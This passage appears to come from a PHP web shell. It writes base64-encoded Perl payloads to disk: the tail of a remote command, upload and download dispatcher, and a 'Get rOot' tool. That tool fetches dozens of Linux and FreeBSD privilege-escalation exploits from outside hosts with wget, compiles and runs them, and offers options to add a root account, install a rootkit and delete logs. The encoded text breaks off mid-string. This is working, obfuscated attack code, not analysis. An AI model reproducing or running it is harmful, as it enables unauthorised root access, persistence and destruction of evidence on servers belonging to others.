ZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEg
ImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJm
b3JtTG9naW47Cn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBy
dW4gYSBjb21tYW5kCnsKCSZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxv
YWQiKSAjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmVXBsb2FkRmlsZTsKfQplbHNp
ZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUK
ewoJJkRvd25sb2FkRmlsZTsKfQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2Fu
dHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9CgoK');
$write = fwrite ($file ,$sa);
$file = fopen($dir."1.txt" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC13CgppZihAQVJHViA8IDEpeyAKcHJpbnQgcSAgICggCiAKIz09PT09PT09PT09PT1bIHJPb3QgVG9vbHogXT09PT09PT09PT09PT0jIAp8IHVpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz0wKHJvb3QpIHwKfCAgICAgICAgICAgIEdldHxyT290IHYxLjAgICAgICAgICAgICAgICB8CnwgICAgICAgIFVzZSA6IHBlcmwgcm8wdGdldC5wbCAtMSAgICAgICAgfAp8IFRITksgMiA6IFNhckJvVDUxMSBTYWRIYWNLZXIgU2lMdmVyLjQ3IHwgCnwgaS1IbXggVGhlIGluamVjdG9yIFoxZCBOby1RclFyIEZveCBIYUMgfCAKIz09PT09PT09PT09PT1bIExvY2FsIHJvb3QgXT09PT09PT09PT09PT0jCnwgTG9jYWwgcm9vdCAyMDEwIEZyZWVCc0QgICAgICAgICAgIC03IHwgICAgICAgICAgICAgCnwgTG9jYWwgcm9vdCBhTEwgIEV4cGxvaXQgICAgICAgICAgIC04IHwgICAgICAgICAKfCBMb2NhbCBSb290IFByaXZpbGVnZSBFc2NhbGF0aW9uICAgLTkgfCAgICAgICAgIAojPT09PT09PT09PT09PVsgYWZ0ZXIgcm9vdCBdPT09PT09PT09PT09PSMKfCAgICBNb3JlIGFib3V0IEdlVCByT29UIHZlcnNpb24gMS4wIC1hYiB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAp8ICAgICAgICAgIEhlbHAgTXkgaSBuZWVkIGhlbHAgICAgICAgLWhlIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0jCiM9PT09PT09PT09PT1bIExvY2FsIHJvb3QgXT09PT09PT09PT09PT09IyAKfCB1aWQ9MChyb290KSAgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCl8CnwgTG9jYWwgcm9vdCAyMDEwIHg4Nl82NCAyLjYuMTgtMTk0IC0xICAgfAp8IExvY2FsIHJvb3QgMjAwOSBpNjg2ICAgMi42LjE4LTEyOCAtMiAgIHwKfCBMb2NhbCByb290IDIwMDggICAgICAgIDIuNi4xOCAgICAgLTMgICB8CnwgTG9jYWwgcm9vdCAyMDA3IHg4Nl82NCAyLjYuMjItNiAgIC00ICAgfAp8IGFsbCBMb2NhbCByb290ICAgICAgICAgICAgICAgICAgICAtNSAgIHwKIz09PT09PT09PT09PVsgYWZ0ZXIgcm9vdCBdPT09PT09PT09PT09PT0jCnwgICAgICAgICAgIEFkZCByb290IEFjY291bnQgICAgICAgIC1yICAgfAp8ICAgICAgICAgIGFkZCByb290a2l0IHY0LXRlYW0gICAgICAtdCAgIHwKfCAgICAgICAgICAgICAgcm0gLXJmIExvZyAgICAgICAgICAgLXJtICB8CiM9PT09PT09PT09PT1bICAgIGFib3V0ICAgXT09PT09PT09PT09PT09IyAKfCAgIEdlVCByT29UIEJ5IE9yNG5HLk00biB2ZXJzaW9uIDEuMCAgICB8IAp8ICAgIHByaXY4dGUgWyBAIF0gSG90bWFpbCBbIC4gXSBjb20gICAgIHwgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IyAKICAgICAgIHNlYzRldmVyLmNvbSB8IHY0LXRlYW0uY29tICAgICAgICAgICAgICAJCQkJCQkJCSAgIAopOwoKZXhpdDsKICAgICB9CgppZiAoJEFSR1ZbMF0gPX4gIi10IiApIAogICAgICAgICAgewpwcmludCAiYWRkIFNoZWxsIHRvb2xzIFsgdCBdXG4iOwpzeXN0ZW0gIndnZXQgaHR0cCI7CnN5c3RlbSAiY2QgL3Vzci9iaW47Y2htb2QgK3MgY2F0IjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKCgogICAgIH0gCgppZiAoJEFSR1ZbMF0gPX4gIi0xIiApIAogICAgICAgICAgewpwcmludCAiTG9jYWwgcm9vdCAyMDEwIHg4Nl82NCAyLjYuMTgtMTk0IFsgMSBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMSI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0xIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0xIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQoKaWYgKCRBUkdWWzBdID1+ICItMiIgKSAKICAgICAgICAgIHsKcHJpbnQgIkxvY2FsIHJvb3QgMjAwOSBpNjg2IDIuNi4xOC0xMjggIFsgMiBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMiI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0yIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0yIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQkgCgkgCmlmICgkQVJHVlswXSA9fiAiLTMiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IDIwMDggaTY4NiAyLjYuMTggIFsgMyBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9Mb2NhbHotMyI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IExvY2Fsei0zIjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICIuL0xvY2Fsei0zIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CiAgICAgfQkKCSAKaWYgKCRBUkdWWzBdID1+ICItNCIgKSAKICAgICAgICAgIHsKcHJpbnQgIkxvY2FsIHJvb3QgMjAwNyB4ODZfNjQgMi42LjIyLTYgWyA0IF1cbiI7CnN5c3RlbSAicHdkIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vTG9jYWx6L0xvY2Fsei00IjsKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgTG9jYWx6LTQiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vTG9jYWx6LTQiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKICAgICB9CQoJIAppZiAoJEFSR1ZbMF0gPX4gIi03IiApIAogICAgICAgICAgewpwcmludCAgIkxvY2FsIHJvb3QgMjAxMCBGcmVlQnNEIFsgYnNkIF1cbiI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvbG9jNGwiOwpzeXN0ZW0gImNobW9kIDc3NyBsb2M0bCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvYnNkbG9jYWwiOwpzeXN0ZW0gImNobW9kIDc3NyBic2Rsb2NhbCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvRnJlZUJTRG1hc3Rlci5wYXNzd2QuYyI7CnN5c3RlbSAiY2htb2QgNzc3IEZyZWVCU0RtYXN0ZXIucGFzc3dkLmMiOwogICAgIH0KCmlmICgkQVJHVlswXSA9fiAiLTgiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IGFMTCBFeHBsb2l0IFsgcHJpIF1cbiI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvMi40LjIwIjsKc3lzdGVtICJjaG1vZCA3NzcgMi40LjIwIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vTG9jYWx6L2FsbC8yLjQuMjkiOwpzeXN0ZW0gImNobW9kIDc3NyAyLjQuMjkiOwpzeXN0ZW0gIndnZXQgaHR0cDovL3RyYXYxYW4udDM1LmNvbS9Mb2NhbHovYWxsLzIuNC4zNCI7CnN5c3RlbSAiY2htb2QgNzc3IDIuNC4zNCI7CnN5c3RlbSAid2dldCBodHRwOi8vdHJhdjFhbi50MzUuY29tL0xvY2Fsei9hbGwvMi42LjguYyI7CnN5c3RlbSAiY2htb2QgNzc3IDIuNi44LmMiOwpzeXN0ZW0gIndnZXQgaHR0cDovL3RyYXYxYW4udDM1LmNvbS9Mb2NhbHovYWxsLzIuNi42LTM0LmMiOwpzeXN0ZW0gImNobW9kIDc3NyAyLjYuNi0zNC5jIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpwcmludCAiXHQgb2sgbm93IHlvdSBjYW4gdHJheSBhbnkgTG9jYWwiOwogICAgIH0JIAoJIAppZiAoJEFSR1ZbMF0gPX4gIi05IiApIAogICAgICAgICAgewpwcmludCAiTG9jYWwgUm9vdCBQcml2aWxlZ2UgRXNjYWxhdGlvbiBbIHhwbCBdXG4iOwpzeXN0ZW0gInB3ZCI7CnN5c3RlbSAncHJpbnRmICJpbnN0YWxsIHVwcm9iZXMgL2Jpbi9zaCIgPiBleHBsb2l0LmNvbmY7IE1PRFBST0JFX09QVElPTlM9Ii1DIGV4cGxvaXQuY29uZiIgc3RhcHJ1biAtdSB3aGF0ZXZlcic7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7c3U7aWQiOwogICAgIH0gCgkgaWYgKCRBUkdWWzBdID1+ICItNSIgKSAKICAgICAgICAgIHsKCQkgIAoJCSAgCiBzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5jbGVhcndhdGVyY290dGFnZXMuY29tL21vZHVsZXMvMjAxMC0xIik7CnN5c3RlbSgiY2htb2QgNzc3IDIwMTAtMSIpOwpzeXN0ZW0oIi4vMjAxMC0xIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuY2xlYXJ3YXRlcmNvdHRhZ2VzLmNvbS9tb2R1bGVzLzIwMTAtMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyMDEwLTIiKTsKc3lzdGVtKCIuLzIwMTAtMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LmNsZWFyd2F0ZXJjb3R0YWdlcy5jb20vbW9kdWxlcy9saW51eC1yZHMtZXhwbG9pdCIpOwpzeXN0ZW0oImNobW9kIDc3NyBsaW51eC1yZHMtZXhwbG9pdCIpOwpzeXN0ZW0oIi4vbGludXgtcmRzLWV4cGxvaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5jbGVhcndhdGVyY290dGFnZXMuY29tL21vZHVsZXMvaS1jYW4taGF6LW1vZGhhcmRlbiIpOwpzeXN0ZW0oImNobW9kIDc3NyBpLWNhbi1oYXotbW9kaGFyZGVuIik7CnN5c3RlbSgiLi9pLWNhbi1oYXotbW9kaGFyZGVuIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgkJICAKCQkgIHN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNvbGFyZW5zLmNvbS90ZW1wbGF0ZXMvYmVlei8yLjYuMzQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOyAKc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCgkJICAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvaXNrb3JwaXR4Iik7CnN5c3RlbSgiY2htb2QgNzc3IGlza29ycGl0eCIpOyAKc3lzdGVtKCIuL2lza29ycGl0eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9jIik7CnN5c3RlbSgiY2htb2QgNzc3IGMiKTsKc3lzdGVtKCIuL2MiKTsKc3lzdGVtKCJpZCIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL2QiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZCIpOwpzeXN0ZW0oIi4vZCIpOwpzeXN0ZW0oImlkIik7CnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvNDQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgNDQiKTsKc3lzdGVtKCIuLzQ0Iik7CnN5c3RlbSgiaWQiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvOTUyMSIpOwpzeXN0ZW0oImNobW9kIDc3NyA5NTIxIik7CnN5c3RlbSgiLi85NTIxIik7CnN5c3RlbSgiaWQiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9ydW45NyIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgcnVuOTciKTsgCnN5c3RlbSgiLi85NyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9mcm9vdCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgZnJvb3QiKTsgCnN5c3RlbSgiLi9mcm9vdCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOC0xLmMiKTsgCnN5c3RlbSgiZ2NjIC1XYWxsIC1vIDE4LTEgMTgtMS5jIik7IApzeXN0ZW0oImdjYyAtV2FsbCAtbTY0IC1vIDE4LTMgMTgtMS5jIik7IApzeXN0ZW0oImNobW9kIDc3NyAxOC0xIik7IApzeXN0ZW0oImNobW9kIDc3NyAxOC0zIik7IApzeXN0ZW0oIi4vMTgtMSIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzE4LTMiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvMTgtMiIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDE4LTIiKTsgCnN5c3RlbSgiLi8xOC0yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzE4LTMiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAxOC0zIik7IApzeXN0ZW0oIi4vMTgtMyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOC01Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMTgtNSIpOyAKc3lzdGVtKCIuLzE4LTUiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdDIiKTsgIApzeXN0ZW0oImNobW9kIDc3NyBleHBsb2l0MiIpOyAKc3lzdGVtKCIuL2V4cGxvaXQyIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL2V4cDEiKTsgIApzeXN0ZW0oImNobW9kIDc3NyBleHAxIik7IApzeXN0ZW0oIi4vZXhwMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9leHAyIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgZXhwMiIpOyAKc3lzdGVtKCIuL2V4cDIiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwMyIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsgCnN5c3RlbSgiLi9leHAzIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzIwMDktMSIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDIwMDktMSIpOyAKc3lzdGVtKCIuLzIwMDktMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8zLmMiKTsgCnN5c3RlbSgiZ2NjIDMuYyAtbyAzIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMyIpOyAKc3lzdGVtKCIuLzMiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvM2EiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDNhIik7IApzeXN0ZW0oIi4vM2EiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvNC5jIik7IApzeXN0ZW0oImdjYyA0LmMgLW8gNCIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IDQiKTsgCnN5c3RlbSgiLi80Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzRhIik7IApzeXN0ZW0oImNobW9kIDc3NyA0YSIpOyAKc3lzdGVtKCIuLzRhIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9jeC5jIik7IApzeXN0ZW0oImdjYyBjeC5jIC1vIGN4Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgY3giKTsgCnN5c3RlbSgiLi9jeCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvY3h4LmMiKTsgCnN5c3RlbSgiZ2NjIGN4eC5jIC1vIGN4eCIpOyAgCnN5c3RlbSgiY2htb2QgNzc3IGN4eCIpOyAKc3lzdGVtKCIuL2N4eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdDIiKTsgCnN5c3RlbSgiY2htb2QgNzc3IGV4cGxvaXQyIik7IApzeXN0ZW0oIi4vZXhwbG9pdDIiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjL3J1biIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgcnVuIik7IApzeXN0ZW0oIi4vcnVuIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy9yb290c2guYyIpOyAKc3lzdGVtKCJnY2Mgcm9vdHNoLmMgLW8gcm9vdHNoIik7ICAKc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdHNoIik7IApzeXN0ZW0oIi4vcm9vdHNoIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzI5LmMiKTsgCnN5c3RlbSgiZ2NjIDI5LmMgLW8gMjkiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAyOSIpOyAKc3lzdGVtKCIuLzI5Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzMwIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMzAiKTsgCnN5c3RlbSgiLi8zMCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8yMDA5Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOSIpOyAKc3lzdGVtKCIuLzIwMDkiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvcHdua2VybmVsIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7IApzeXN0ZW0oIi4vcHdua2VybmVsIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8wNSIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMDUiKTsgCnN5c3RlbSgiLi8wNSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvaXNrbyIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgaXNrbyIpOyAKc3lzdGVtKCIuL2lza28iKTsgCnN5c3RlbSgiaWQiKTsKc3lzdGVtKCIuL2lza28iKTsgCnN5c3RlbSgiaXNrbyIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMTgiKTsgCnN5c3RlbSgiLi8xOCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzE4Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy83Iik7IApzeXN0ZW0oImNobW9kIDc3NyA3Iik7IApzeXN0ZW0oIi4vNyIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzciKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzctMiIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgNy0yIik7IApzeXN0ZW0oIi4vNy0yIik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vNy0yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy84Iik7IApzeXN0ZW0oImNobW9kIDc3NyA4Iik7IApzeXN0ZW0oIi4vOCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKC